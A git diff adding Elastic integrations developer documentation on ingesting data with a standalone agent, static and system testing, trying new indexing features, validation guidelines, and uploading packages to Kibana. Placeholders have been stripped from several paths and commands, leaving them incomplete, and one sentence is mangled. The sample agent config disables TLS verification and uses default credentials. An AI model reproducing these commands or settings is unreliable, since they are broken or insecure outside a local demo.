+* Patch release (x.y.**Z**): For backward-compatible bug fixes
+* Minor release (x.**Y**.z): For backward-compatible new features
+* Major release (**X**.y.z): For changes that break backward compatibility
+
+
+## Step 6: Ingest data [qs-ingest-data]
+
+There are two different ways that you can ingest data, using either standalone {{agent}} or {{agent}} managed by {{fleet}}. For this example, you can use standalone {{agent}} since that won’t require any additional changes to the integration package.
+
+::::{note}
+To run these steps using {{fleet}}-managed {{agent}}, you just need to update the files `data_stream/log/agent/stream/stream.yml.hbs` and `data_stream/log/manifest.yml` to provide the correct configuration, which you can find in the {{fleet}} UI.
+::::
+
+
+1. [Download the {{agent}} install package](https://www.elastic.co/downloads/elastic-agent) to your machine.
+2. Download the {{agent}} package, extract it, and change into the package directory. You can find the steps for each available platform in [Install standalone {{agents}}](docs-content://reference/ingestion-tools/fleet/install-standalone-elastic-agent.md).
+
+ You can also download a package directly from the [{{agent}} download site](https://www.elastic.co/downloads/elastic-agent).
+
+3. In the {{agent}} package directory, open the `elastic-agent.yml` configuration file for editing.
+4. Replace the contents of `elastic-agent.yml` with the following:
+
+ ```console
+ inputs:
+ - type: logfile
+ streams:
+ - data_stream:
+ # This must be aligned with the dataset name given
+ dataset: test-sample.log
+ paths:
+ # Path to your log file
+ - //test-sample.log
+
+ outputs:
+ default:
+ type: elasticsearch
+ hosts: ["https://127.0.0.1:9200"]
+ username: "elastic"
+ password: "changeme"
+ ssl.verification_mode: none
+ ```
+
+ Where:
+
+ * `dataset` is set to match the `test-sample.log` file that you created.
+ * is the full path the `test-sample.log` file that you created.
+
+5. Run {{agent}}:
+
+ ```console
+ sudo ./elastic-agent -e
+ ```
+
+ This will pick up the log file, ship it to {{es}}, and process it with the ingest pipeline.
+
+6. Confirm that your log file is being ingested as expected:
+
+ 1. In {{kib}}, open **Discover**.
+ 2. In the search field, enter `log.file.path.text : *`. The search should return a couple of log entries.
+ 3. Hover over an entry and click `Enter` to view the cell contents.
+
+ :::{image} ../images/datastream-log-message.png
+ :alt: Data stream showing log message: "this is a nice day"
+ :::
+
+
+
+## What’s next? [qs-whats-next]
+
+You now have your own integration package that you can update with new features and ship to an {{stack}} or share with others.
+
+In the integrations [Contributing Guide](https://github.com/elastic/integrations/blob/main/CONTRIBUTING.md) you can find instructions for adding additional assets to your integrations, such as {{kib}} dashboards.
+
+Let others know about your new integration:
+
+* Promote your Integration with Elastic in the [Elastic Community](https://www.elastic.co/community/).
+* Register on [Elastic’s Partner Portal](https://partners.elastic.co/English/register_email.aspx) as a Technology Partner.
diff --git a/docs/extend/static-testing.md b/docs/extend/static-testing.md
new file mode 100644
index 00000000000..617b367f255
--- /dev/null
+++ b/docs/extend/static-testing.md
@@ -0,0 +1,30 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/static-testing.html
+---
+
+# Static testing [static-testing]
+
+Static tests allow you to verify if all static resources of the package are valid, e.g. are all fields of the `sample_event.json` documented. They don’t require any additional configuration (unless you would like to skip them).
+
+
+## Coverage [static-coverage]
+
+Static tests cover the following resources:
+
+1. Sample event for a data stream - verification if the file uses only documented fields.
+
+
+## Running static tests [static-running]
+
+Static tests don’t require the {{stack}} to be up and running. Simply navigate to the package’s root folder (or any sub-folder under it) and run the following command.
+
+```bash
+elastic-package test static
+```
+
+If you want to run pipeline tests for **specific data streams** in a package, navigate to the package’s root folder (or any sub-folder under it) and run the following command.
+
+```bash
+elastic-package test static --data-streams [,,...]
+```
diff --git a/docs/extend/system-testing.md b/docs/extend/system-testing.md
new file mode 100644
index 00000000000..2f55ac9f319
--- /dev/null
+++ b/docs/extend/system-testing.md
@@ -0,0 +1,244 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/system-testing.html
+---
+
+# System testing [system-testing]
+
+Elastic Packages comprise of data streams. A system test exercises the end-to-end flow of data for a package’s data stream — from ingesting data from the package’s integration service all the way to indexing it into an {{es}} data stream.
+
+
+## Conceptual process [system-concepts]
+
+Conceptually, running a system test involves the following steps:
+
+1. Deploy the {{stack}}, including {{es}}, {{kib}}, and the {{agent}}. This step takes time. so you should typically do it once as a prerequisite to running system tests on multiple data streams.
+2. Enroll the {{agent}} with {{fleet}} (running in the {{kib}} instance). This step also can be done once, as a prerequisite.
+3. Depending on the Elastic Package whose data stream is being tested, deploy an instance of the package’s integration service.
+4. Create a test policy that configures a single data stream for a single package.
+5. Assign the test policy to the enrolled Agent.
+6. Wait a reasonable amount of time for the Agent to collect data from the integration service and index it into the correct {{es}} data stream.
+7. Query the first 500 documents based on `@timestamp` for validation.
+8. Validate mappings are defined for the fields contained in the indexed documents.
+9. Validate that the JSON data types contained `_source` are compatible with mappings declared for the field.
+10. Delete test artifacts and tear down the instance of the package’s integration service.
+11. Once all desired data streams have been system tested, tear down the {{stack}}.
+
+
+## Limitations [system-test-limitations]
+
+At the moment, system tests have limitations. The salient ones are: * There isn’t a way to assert that the indexed data matches data from a file (e.g. golden file testing).
+
+
+## Defining a system test [system-test-definition]
+
+Packages have a specific folder structure (only relevant parts shown).
+
+```bash
+/
+ data_stream/
+ /
+ manifest.yml
+ manifest.yml
+```
+
+To define a system test we must define configuration on at least one level: a package or a data stream’s one.
+
+First, we must define the configuration for deploying a package’s integration service. We can define it on either the package level:
+
+```bash
+/
+ _dev/
+ deploy/
+ /
+
+```
+
+or the data stream’s level:
+
+```bash
+/
+ data_stream/
+ /
+ _dev/
+ deploy/
+ /
+
+```
+
+`` - a name of the supported service deployer:
+
+* `docker` - Docker Compose
+* `k8s` - Kubernetes
+* `tf` - Terraform
+
+
+### Docker Compose service deployer [system-docker-compose]
+
+The `` must include a `docker-compose.yml` file when using the Docker Compose service deployer. The `docker-compose.yml` file defines the integration service for the package. For example, if your package has a logs data stream, the log files from your package’s integration service must be written to a volume. For example, the `apache` package has the following definition in it’s integration service’s `docker-compose.yml` file.
+
+```bash
+version: '2.3'
+services:
+ apache:
+ # Other properties such as build, ports, etc.
+ volumes:
+ - ${SERVICE_LOGS_DIR}:/usr/local/apache2/logs
+```
+
+Here, `SERVICE_LOGS_DIR` is a special keyword. It is something that we will need later.
+
+
+### Terraform service deployer [system-terraform]
+
+When using the Terraform service deployer, the `` must include at least one `*.tf` file. The `*.tf` files define the infrastructure using the Terraform syntax. The Terraform-based service can be handy to boot up resources using a selected cloud provider and use them for testing (e.g. observe and collect metrics).
+
+Sample `main.tf` definition:
+
+```bash
+variable "TEST_RUN_ID" {
+ default = "detached"
+}
+
+provider "aws" {}
+
+resource "aws_instance" "i" {
+ ami = data.aws_ami.latest-amzn.id
+ monitoring = true
+ instance_type = "t1.micro"
+ tags = {
+ Name = "elastic-package-test-${var.TEST_RUN_ID}"
+ }
+}
+
+data "aws_ami" "latest-amzn" {
+ most_recent = true
+ owners = [ "amazon" ] # AWS
+ filter {
+ name = "name"
+ values = ["amzn2-ami-hvm-*"]
+ }
+}
+```
+
+Notice the use of the `TEST_RUN_ID` variable. It contains a unique ID, which can help differentiate resources created in potential concurrent test runs.
+
+
+### Kubernetes service deployer [system-kubernetes]
+
+The Kubernetes service deployer requires the `_dev/deploy/k8s` directory to be present. It can include additional `*.yaml` files to deploy custom applications in the Kubernetes cluster (e.g. Nginx deployment). If no resource definitions (`*.yaml` files ) are needed, the `_dev/deploy/k8s` directory must contain an `.empty` file (to preserve the `k8s` directory under version control).
+
+The Kubernetes service deployer needs [kind](https://kind.sigs.k8s.io/) to be installed and the cluster to be up and running:
+
+```bash
+wget -qO- https://raw.githubusercontent.com/elastic/elastic-package/main/scripts/kind-config.yaml | kind create cluster --config -
+```
+
+Before executing system tests, the service deployer applies once the deployment of the {{agent}} to the cluster and links the kind cluster with the Elastic stack network - applications running in the kind cluster can reach {{es}} and {{kib}} instances. The {{agent}}'s deployment is not deleted after tests to shorten the total test execution time, but it can be reused.
+
+See how to execute system tests for the Kubernetes integration (`pod` data stream):
+
+```bash
+elastic-package stack up -d -v # start the Elastic stack
+wget -qO- https://raw.githubusercontent.com/elastic/elastic-package/main/scripts/kind-config.yaml | kind create cluster --config -
+elastic-package test system --data-streams pod -v # start system tests for the "pod" data stream
+```
+
+
+### Test case definition [system-test-case]
+
+Next, we must define at least one configuration for each data stream that we want to system test. You can define multiple test cases for the same data stream.
+
+*Hint: if you plan to define only one test case, you can consider the filename `test-default-config.yml`.*
+
+```bash
+/
+ data_stream/
+ /
+ _dev/
+ test/
+ system/
+ test--config.yml
+```
+
+The `test--config.yml` file allows you to define values for package and data stream-level variables. For example, the `apache/access` data stream’s `test-access-log-config.yml` is shown below.
+
+```bash
+vars: ~
+input: logfile
+data_stream:
+ vars:
+ paths:
+ - "{{SERVICE_LOGS_DIR}}/access.log*"
+```
+
+The top-level `vars` field corresponds to package-level variables defined in the `apache` package’s `manifest.yml` file. In the above example, we don’t override any of these package-level variables, so their default values, are used in the `apache` package’s `manifest.yml` file.
+
+The `data_stream.vars` field corresponds to data stream-level variables for the current data stream (`apache/access` in the above example). In the above example we override the `paths` variable. All other variables are populated with their default values, as specified in the `apache/access` data stream’s `manifest.yml` file.
+
+Notice the use of the `{{SERVICE_LOGS_DIR}}` placeholder. This corresponds to the `${SERVICE_LOGS_DIR}` variable we saw in the `docker-compose.yml` file earlier. In the above example, the `/usr/local/apache2/logs/access.log*` files located inside the Apache integration service container become available at the same path from {{agent}}'s perspective.
+
+When a data stream’s manifest declares multiple streams with different inputs you can use the `input` option to select the stream to test. The first stream whose input type matches the `input` value will be tested. By default, the first stream declared in the manifest will be tested.
+
+
+#### Placeholders [system-placeholders]
+
+The `SERVICE_LOGS_DIR` placeholder is not the only one available for use in a data stream’s `test--config.yml` file. The complete list of available placeholders is shown below.
+
+| Placeholder name | Data type | Description |
+| --- | --- | --- |
+| `Hostname` | string | Addressable host name of the integration service. |
+| `Ports` | []int | Array of addressable ports the integration service is listening on. |
+| `Port` | int | Alias for `Ports[0]`. Provided as a convenience. |
+| `Logs.Folder.Agent` | string | Path to integration service’s logs folder, as addressable by the Agent. |
+| `SERVICE_LOGS_DIR` | string | Alias for `Logs.Folder.Agent`. Provided as a convenience. |
+
+Placeholders used in the `test--config.yml` must be enclosed in `{{` and `}}` delimiters, per Handlebars syntax.
+
+
+## Running a system test [system-running-test]
+
+Once the two levels of configurations are defined as described in the previous section, you are ready to run system tests for a package’s data streams.
+
+First you must deploy the {{stack}}. This corresponds to steps 1 and 2 as described in the [Conceptual-process](/extend/pipeline-testing.md#pipeline-concepts) section.
+
+```bash
+elastic-package stack up -d
+```
+
+For a complete listing of options available for this command, run `elastic-package stack up -h` or `elastic-package help stack up`.
+
+Next, you must set environment variables needed for further `elastic-package` commands.
+
+```bash
+$(elastic-package stack shellinit)
+```
+
+Next, you must invoke the system tests runner. This corresponds to steps 3 to 7 as described in the [Conceptual-process](/extend/pipeline-testing.md#pipeline-concepts) section.
+
+If you want to run system tests for **all data streams** in a package, navigate to the package’s root folder (or any sub-folder under it) and run the following command.
+
+```bash
+elastic-package test system
+```
+
+If you want to run system tests for **specific data streams** in a package, navigate to the package’s root folder (or any sub-folder under it) and run the following command.
+
+```bash
+elastic-package test system --data-streams [,,...]
+```
+
+Finally, when you are done running all system tests, bring down the {{stack}}. This corresponds to step 8 in the [Conceptual-process](/extend/pipeline-testing.md#pipeline-concepts) section.
+
+```bash
+elastic-package stack down
+```
+
+
+### Generating sample events [system-sample-events]
+
+As the system tests exercise an integration end-to-end from running the integration’s service all the way to indexing generated data from the integration’s data streams into {{es}}, it is possible to generate `sample_event.json` files for each of the integration’s data streams while running these tests.
+
+```bash
+elastic-package test system --generate
+```
diff --git a/docs/extend/testing-new-indexing-features.md b/docs/extend/testing-new-indexing-features.md
new file mode 100644
index 00000000000..ce0bc77e834
--- /dev/null
+++ b/docs/extend/testing-new-indexing-features.md
@@ -0,0 +1,170 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/testing-new-indexing-features.html
+---
+
+# How to test new indexing features [testing-new-indexing-features]
+
+Elasticsearch has been adding new indexing modes and features that allow optimization of storage size and query performance.
+
+We’d like to enable integration developers to start testing the ingest and query performance of enabling these features before we start making any changes in the integrations themselves or allowing end users to enable these from the Fleet UI.
+
+Today, each of these can already be enabled by leveraging the `*@custom` component templates that Fleet installs for each integration data stream, to varying degrees of ease of use (details below). We could improve the UX around this for integration developers by adding an explicit API in Fleet to enable this, however it may not be necessary. See [elastic/kibana#132818](https://github.com/elastic/kibana/issues/132818) for discussion around how a feature flag API could be added to ease this a bit more.
+
+See the following instructions for testing new indexing features:
+
+* [Testing synthetic source](#integrations-dev-synthetic-source)
+* [Testing `doc-value-only` fields](#integrations-dev-doc-value-only-fields)
+* [Time-series indexing (TSDS)](#integrations-dev-test-tsds)
+
+## Testing synthetic source [integrations-dev-synthetic-source]
+
+* For background, refer to [#85649](https://github.com/elastic/elasticsearch/pull/85649)
+* For integrations support, refer to [#340](https://github.com/elastic/package-spec/pull/340)
+
+This feature is quite easy to enable on an integration using the component template. Here’s how to do this for the `nginx` substatus metrics, for example:
+
+1. Install the nginx package.
+2. Run this dev tools command:
+
+ ```console
+ PUT /_component_template/metrics-nginx.substatus@custom
+ {
+ "template": {
+ "settings": {},
+ "mappings": {
+ "_source": {
+ "mode": "synthetic"
+ }
+ }
+ },
+ "_meta": {
+ "package": {
+ "name": "nginx"
+ }
+ }
+ }
+ ```
+
+3. If a data stream already exists, rollover the data stream to get the new mappings: `POST metrics-nginx.substatus-default/_rollover`
+
+One challenge with leveraging synthetic source is that it doesn’t support keyword fields that have `ignore_above` configured. It may be worth removing this setting for testing on those fields. This can be done by editing the package in `dev` and installing it via `elastic-package` or overriding it via the custom component template, similar to the [`doc-value-only`](#integrations-dev-doc-value-only-fields) example.
+
+
+## Testing `doc-value-only` fields [integrations-dev-doc-value-only-fields]
+
+* For background, refer to [Elasticsearch, Kibana, Elastic Cloud 8.1: Faster indexing, less disk storage, and smarter analytics capabilities](https://www.elastic.co/blog/whats-new-elasticsearch-kibana-cloud-8-1-0).
+* For integrations support, refer to [#3419](https://github.com/elastic/integrations/issues/3419).
+
+This feature is more challenging with component templates because it requires adding `index: false` to every long and double field. Providing an API in Fleet would make this a bit easier. Here’s how to do this manually:
+
+1. Install the `nginx` package.
+2. Get the mappings included with the package: `GET /_component_template/logs-nginx.access@package`.
+3. Copy the output into your favorite text editor, search for each `"type": "long"` and `"type": "double"`, and add `"index": false`.
+4. Update the custom component template with the new mappings. For example, here’s how to set the long fields to `index: false`:
+
+ ```console
+ PUT /_component_template/merics-nginx.substatus@custom
+ {
+ "template": {
+ "settings": {},
+ "mappings": {
+ "properties": {
+ "nginx": {
+ "properties": {
+ "stubstatus": {
+ "properties": {
+ "hostname": {
+ "ignore_above": 1024,
+ "type": "keyword"
+ },
+ "current": {
+ "type": "long",
+ "index": false
+ },
+ "waiting": {
+ "type": "long",
+ "index": false
+ },
+ "accepts": {
+ "type": "long",
+ "index": false
+ },
+ "handled": {
+ "type": "long",
+ "index": false
+ },
+ "writing": {
+ "type": "long",
+ "index": false
+ },
+ "dropped": {
+ "type": "long",
+ "index": false
+ },
+ "active": {
+ "type": "long",
+ "index": false
+ },
+ "reading": {
+ "type": "long",
+ "index": false
+ },
+ "requests": {
+ "type": "long",
+ "index": false
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ },
+ "_meta": {
+ "package": {
+ "name": "nginx"
+ }
+ }
+ }
+ ```
+
+5. If a data stream already exists, rollover the data stream to get the new mappings: `POST metrics-nginx.substatus-default/_rollover`
+
+
+## Time-series indexing (TSDS) [integrations-dev-test-tsds]
+
+* For background, refer to [#74660](https://github.com/elastic/elasticsearch/issues/74660)
+* For integrations support, refer to [#311](https://github.com/elastic/package-spec/issues/311)
+
+Usage of TSDS indexing requires the following:
+
+* Mapping parameters must be added for `time_series_dimension` and `time_series_metric` on appropriate fields. This is already supported by the package ecosystem and Fleet, so packages can already define these options.
+* The `mode: time_series` and `routing_path` index settings must be added, this can be done by editing the custom component template.
+
+Note that the `routing_path` setting should correspond to fields with `time_series_dimension` specified. In the future, ES may automate this setting.
+
+1. Install the kubernetes package (already has TSDS mappings set up)
+2. Run this dev tools command:
+
+ ```console
+ PUT /_component_template/metrics-kubernetes.pod@custom
+ {
+ "template": {
+ "settings": {
+ "index.mode": "time_series",
+ "index.routing_path": ["kubernetes.pod.uid"]
+ },
+ "mappings": {}
+ },
+ "_meta": {
+ "package": {
+ "name": "kubernetes"
+ }
+ }
+ }
+ ```
+
+3. If a data stream already existed, rollover the data stream to get the new mappings: `POST metrics-kubernetes.pod-default/_rollover`
+
+
diff --git a/docs/extend/testing-validation.md b/docs/extend/testing-validation.md
new file mode 100644
index 00000000000..66b74e23199
--- /dev/null
+++ b/docs/extend/testing-validation.md
@@ -0,0 +1,118 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/testing-and-validation.html
+---
+
+# Testing and validation [testing-and-validation]
+
+1. Build the package you’d like to verify (e.g. `apache`):
+
+ ```bash
+ cd apache
+ elastic-package build
+ ```
+
+2. Start the testing environment:
+
+ Run from inside the Integrations repository:
+
+ ```bash
+ elastic-package stack up -d -v
+ ```
+
+ The command above will boot up the {{stack}} ({{es}}, {{kib}}, and {{package-registry}}) using Docker containers. It rebuilds the {{package-registry}} Docker image using packages built in step 1. and boots up the {{package-registry}}.
+
+ To reload the already deployed {{package-registry}}, use the following command:
+
+ ```bash
+ elastic-package stack up -v -d --services package-registry
+ ```
+
+3. Verify that your integration is available in the correct version. For example, MySQL: [http://localhost:8080/search?package=mysql](http://localhost:8080/search?package=mysql) (use `experimental=true` parameter if the package is in experimental version. Alternatively set `release` to `beta` or higher in your package’s `manifest.yml`, if appropriate.)
+
+ ```json
+ [
+ {
+ "description": "MySQL Integration",
+ "download": "/epr/mysql/mysql-0.0.1.tar.gz",
+ "icons": [
+ {
+ "src": "/package/mysql/0.0.1/img/logo_mysql.svg",
+ "title": "logo mysql",
+ "size": "32x32",
+ "type": "image/svg+xml"
+ }
+ ],
+ "name": "mysql",
+ "path": "/package/mysql/0.0.1",
+ "title": "MySQL",
+ "type": "integration",
+ "version": "0.0.1"
+ }
+ ]
+ ```
+
+ The `elastic-package stack` provides an enrolled instance of the {{agent}}. Use that one instead of a local application if you can run the service (you’re integrating with) in the Docker network and you don’t need to rebuild the Elastic-Agent or it’s subprocesses (e.g. {{filebeat}} or {{metricbeat}}). The service Docker image can be used for <=7.10.0`. Otherwise the package is also in 8.0.0 but we do not know today if it will actually be compatible with >= 8.0.0.
+
+ ```yaml
+ conditions:
+ kibana.version: '^7.10.0'
+ ```
+
+4. Set the proper package owner (either Github team or personal account)
+
+ Good candidates for a team: `elastic/integrations`, `elastic/security-service-integrations`
+
+ Update the `.github/CODEOWNERS` file accordingly.
+
+
+
+
+## All integrations [_all_integrations]
+
+### Development [_development]
+
+1. When you’re developing integrations and you’d like to propagate your changes to the package registry, first rebuild the package:
+
+ ```bash
+ $ cd packages/apache
+ $ elastic-package build
+ ```
+
+ Then, rebuild and redeploy the Package Registry:
+
+ *It’s important to execute the following command in the Integrations repository.*
+
+ ```bash
+ $ elastic-package stack up -v -d --services package-registry
+ ```
+
+ Explanation: it’s much faster to rebuild and restart the container with the Package Registry, than work with mounted volumes.
+
+
+
+### Code reviewers [_code_reviewers]
+
+1. Ping "Team:Integrations".
+
+ Use the team label to notify relevant team members about the incoming pull request.
+
+
+#### Manifest files [_manifest_files_2]
+
+1. Descriptions of configuration options should be as short as possible.
+
+ Remember to keep only the meaningful information about the configuration option.
+
+ Good candidates: references to the product configuration, accepted string values, explanation.
+
+ Bad candidates: *Collect metrics from A, B, C, D,… X, Y, Z datasets.*
+
+2. Descriptions should be human readable.
+
+ Try to rephrase sentences like: *Collect foo_Bar3 metrics*, into *Collect Foo Bar metrics*.
+
+3. Description should be easy to understand.
+
+ Simplify sentences, don’t provide information about the input if not required.
+
+ Bad candidate: *Collect application logs (log input)*
+
+ Good candidates: *Collect application logs*, *Collect standard logs for the application*
+
+4. Letter casing is important for screenshot descriptions.
+
+ These descriptions are visualized in the Kibana UI. It would be better experience to have them clean and consistent.
+
+ Bad candidate: *filebeat running on ec2 machine*
+
+ Good candidates: *Filebeat running on AWS EC2 machine*
+
+5. If package relies on some feature or a field, available only in a specific stack or beats version, `kibana.version` condition should be adjusted accordingly in the package’s `manifest.yml`:
+
+ ```yaml
+ conditions:
+ kibana.version: '^8.7.0'
+ ```
+
+ ::::{note}
+ The package version with such condition as above will be only available in Kibana version >=8.7.0
+ ::::
+
+
+ ::::{note}
+ Changing dashboards and visualizations using an unreleased version of Kibana might be unsafe since the Kibana Team might make changes to the Kibana code and potentially the data models. There is no guarantee that your changes won’t be broken by the time new Kibana version is released.
+ ::::
+
+
+
+#### CI [_ci]
+
+1. Run `elastic-package check` and `elastic-package test` locally.
+
+ If you want to verify if your integration works as intended, you can execute the same steps as CI:
+
+ ```bash
+ $ cd packages/apache
+ $ elastic-package check -v
+ $ elastic-package test -v
+ ```
+
+ Keep in mind that the `elastic-package test` command requires a live cluster running and exported environment variables. The environment variables can be set with `eval "$(elastic-package stack shellinit)"`.
+
+
+
+#### Fields [_fields]
+
+1. Remove empty fields files.
+
+ If you notice that fields file (e.g. `package-fields.yml`) doesn’t contain any field definitions or it defines root only, feel free to remove it.
+
+ Bad candidate:
+
+ ```yaml
+ - name: mypackage.mydataset
+ type: group
+ ```
+
+
+
+
+
diff --git a/docs/extend/toc.yml b/docs/extend/toc.yml
new file mode 100644
index 00000000000..acb4175f9d0
--- /dev/null
+++ b/docs/extend/toc.yml
@@ -0,0 +1,51 @@
+toc:
+ - file: index.md
+ - file: what-is-an-integration.md
+ children:
+ - file: integration-definitions.md
+ - file: quick-start.md
+ - file: build-new-integration.md
+ children:
+ - file: build-overview.md
+ - file: build-spin-stack.md
+ - file: build-create-package.md
+ - file: add-data-stream.md
+ - file: define-deployment-modes.md
+ - file: edit-ingest-pipeline.md
+ - file: add-mapping.md
+ - file: create-dashboards.md
+ - file: build-it.md
+ - file: testing-validation.md
+ - file: finishing-touches.md
+ - file: tips-for-building.md
+ - file: upload-new-integration.md
+ - file: testing.md
+ children:
+ - file: asset-testing.md
+ - file: pipeline-testing.md
+ - file: static-testing.md
+ - file: system-testing.md
+ - file: _publish_an_integration.md
+ - file: developer-workflows.md
+ children:
+ - file: developer-workflow-fleet-UI.md
+ - file: developer-workflow-support-old-package.md
+ - file: developer-workflow-import-beat.md
+ - file: integrations-guidelines.md
+ children:
+ - file: general-guidelines.md
+ - file: dashboard-guidelines.md
+ - file: documentation-guidelines.md
+ - file: integrations-tsds-synthetic-source.md
+ children:
+ - file: developer-tsds-guidelines.md
+ - file: testing-new-indexing-features.md
+ - file: elastic-package.md
+ - file: package-spec.md
+ children:
+ - file: dev-spec.md
+ - file: data-stream-spec.md
+ - file: docs-spec.md
+ - file: kibana-spec.md
+ - file: changelog-spec.md
+ - file: manifest-spec.md
\ No newline at end of file
diff --git a/docs/extend/upload-new-integration.md b/docs/extend/upload-new-integration.md
new file mode 100644
index 00000000000..078d2b82a00
--- /dev/null
+++ b/docs/extend/upload-new-integration.md
@@ -0,0 +1,47 @@
+---
+navigation_title: "Upload an integration"
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/upload-a-new-integration.html
+---
+
+# Upload an integration to Kibana [upload-a-new-integration]
+
+
+{{fleet}} supports integration installation through direct upload as a means to support integration developers or users who have created custom integrations that they don’t want to commit upstream back to the [Elastic Integrations repository](https://github.com/elastic/integrations).
+
+Direct upload can also be useful in air-gapped environments, by providing a way to update integrations without needing to update a self-hosted package registry.
+
+
+## Local development [upload-integration-local]
+
+If you’ve followed the local development steps in [*Build an integration*](/extend/build-new-integration.md), upload your integration to Kibana with the following command:
+
+```bash
+elastic-package install --zip /path/to/my/custom-integration
+```
+
+For more information, see [`elastic-package install`](/extend/elastic-package.md#elastic-package-install).
+
+
+## Production deployment [upload-integration-production]
+
+To upload your integration to a production deployment, first zip the package:
+
+```bash
+$ cd /path/to/my/custom-integration
+$ elastic-package build
+```
+
+You can now use the Kibana API to upload your integration:
+
+```bash
+$ curl -XPOST \
+ -H 'content-type: application/zip' \
+ -H 'kbn-xsrf: true' \
+ http://your.kibana.host/api/fleet/epm/packages \
+ -u {username}:{password} \
+ --data-binary @my-custom-integration.zip
+```
+
+More information on this endpoint is available in the [Fleet API Reference](https://www.elastic.co/guide/en/fleet/current/fleet-apis.html).
+
diff --git a/docs/extend/what-is-an-integration.md b/docs/extend/what-is-an-integration.md
new file mode 100644
index 00000000000..948f16610e4
--- /dev/null
+++ b/docs/extend/what-is-an-integration.md
@@ -0,0 +1,53 @@
+---
+mapped_pages:
+ - https://www.elastic.co/guide/en/integrations-developer/current/index.html
+ - https://www.elastic.co/guide/en/integrations-developer/current/what-is-an-integration.html
+---
+
+# What is an integration? [what-is-an-integration]
+
+An Elastic integration is a collection of assets that defines how to observe a specific product or service with the {{stack}}:
+
+* Data ingest, storage, and transformation rules
+* Configuration options
+* Pre-built, custom dashboards and visualizations
+* Documentation
+* Tests
+
+Integrations have a strict, well-defined structure, and offer a number of benefits over other ingest options:
+
+* Structured around the service that is being observed—not the monitoring agent
+* Easy, less error-prone configuration
+* Fewer monitoring agents for users to install
+* Deploy in just a few clicks
+* Decoupled release process from the {stack}
+
+
+## Integration lifecycle [how-integrations-work]
+
+1. Create a source package
+
+ All integrations start as a source package. You’ll find most Elastic integrations in the [`elastic/integrations`](https://github.com/elastic/integrations) repository, but a package can live anywhere.
+
+ All packages must adhere to the [package specification](/extend/package-spec.md) — a formal spec used for the creation and validation of new or updated integrations.
+
+2. Publish the integration to the package registry
+
+ Once an integration (package) has been created, it needs to be built. Built integrations are stored in the [Package Storage repository](https://github.com/elastic/package-storage) and served up via the [{{package-registry}}](https://github.com/elastic/package-registry). The {{fleet}} UI in {{kib}} connects to the {{package-registry}} and allows users to discover, install, and configure Elastic Packages. The {{package-registry}} can also be [deployed on-premise in air-gapped environments](docs-content://reference/ingestion-tools/fleet/air-gapped.md#air-gapped-diy-epr).
+
+3. Install the integration
+
+ Using {{fleet}} in {{kib}}, install the integration and add it to an {{agent}} policy. When you install a package, its assets are unpacked and installed into {{es}} and {{kib}} using {{stack}} APIs. In addition, configuration for the package is persisted in {{es}} as an {{agent}} policy.
+
+4. Add the policy with the integration to an {{agent}}.
+
+ Once the policy with an integration is added to an {{agent}}, the {{agent}} will begin to collect and ship data to the {{stack}} based on the Elastic integration.
+
+ Package assets may come into play here. For example, if a package installed ingest pipelines, those will intercept the data and transform it before it is indexed.
+
+5. Visualize the results
+
+ Integrations can and should ship with custom dashboards and visualizations that are installed with the integration. Use these for a tailored view of your {{observability}} data.
+
+
+
diff --git a/docs/images/backport_input_step.png b/docs/images/backport_input_step.png
new file mode 100644
index 00000000000..0ff21d04163
Binary files /dev/null and b/docs/images/backport_input_step.png differ
diff --git a/docs/images/browse_package_commits.png b/docs/images/browse_package_commits.png
new file mode 100644
index 00000000000..52a619a8491
Binary files /dev/null and b/docs/images/browse_package_commits.png differ
diff --git a/docs/images/build.png b/docs/images/build.png
new file mode 100644
index 00000000000..d91bd12c4fa
Binary files /dev/null and b/docs/images/build.png differ
diff --git a/docs/images/colors-in-visualizations.png b/docs/images/colors-in-visualizations.png
new file mode 100644
index 00000000000..a58c8fe2138
Binary files /dev/null and b/docs/images/colors-in-visualizations.png differ
diff --git a/docs/images/datastream-log-message.png b/docs/images/datastream-log-message.png
new file mode 100644
index 00000000000..9887f64a27b
Binary files /dev/null and b/docs/images/datastream-log-message.png differ
diff --git a/docs/images/filter-in-visualization.png b/docs/images/filter-in-visualization.png
new file mode 100644
index 00000000000..8b2e29707f0
Binary files /dev/null and b/docs/images/filter-in-visualization.png differ
diff --git a/docs/images/grouping-in-visualizations.png b/docs/images/grouping-in-visualizations.png
new file mode 100644
index 00000000000..f685eff9ef7
Binary files /dev/null and b/docs/images/grouping-in-visualizations.png differ
diff --git a/docs/images/markdown-grouping.png b/docs/images/markdown-grouping.png
new file mode 100644
index 00000000000..94389f92cd9
Binary files /dev/null and b/docs/images/markdown-grouping.png differ
diff --git a/docs/images/merge_commit_message.png b/docs/images/merge_commit_message.png
new file mode 100644
index 00000000000..06d72861d79
Binary files /dev/null and b/docs/images/merge_commit_message.png differ
diff --git a/docs/images/package-installed.png b/docs/images/package-installed.png
new file mode 100644
index 00000000000..0abb52aaf45
Binary files /dev/null and b/docs/images/package-installed.png differ
diff --git a/docs/images/rows-in-visualizations.png b/docs/images/rows-in-visualizations.png
new file mode 100644
index 00000000000..a9666e71fa2
Binary files /dev/null and b/docs/images/rows-in-visualizations.png differ
diff --git a/docs/images/titles-in-visualizations.png b/docs/images/titles-in-visualizations.png
new file mode 100644
index 00000000000..a0577adef3a
Binary files /dev/null and b/docs/images/titles-in-visualizations.png differ
diff --git a/go.mod b/go.mod
index c57848481d7..2be43614e26 100644
--- a/go.mod
+++ b/go.mod
@@ -7,7 +7,7 @@ toolchain go1.23.4
require (
github.com/blang/semver v3.5.1+incompatible
github.com/cli/go-gh/v2 v2.11.2
- github.com/elastic/elastic-package v0.109.1
+ github.com/elastic/elastic-package v0.110.1
github.com/elastic/go-licenser v0.4.2
github.com/elastic/package-registry v1.27.0
github.com/magefile/mage v1.15.0
@@ -40,9 +40,9 @@ require (
github.com/PaesslerAG/gval v1.2.2 // indirect
github.com/PaesslerAG/jsonpath v0.1.1 // indirect
github.com/Pallinder/go-randomdata v1.2.0 // indirect
- github.com/ProtonMail/go-crypto v1.1.4 // indirect
+ github.com/ProtonMail/go-crypto v1.1.6 // indirect
github.com/ProtonMail/go-mime v0.0.0-20230322103455-7d82a3887f2f // indirect
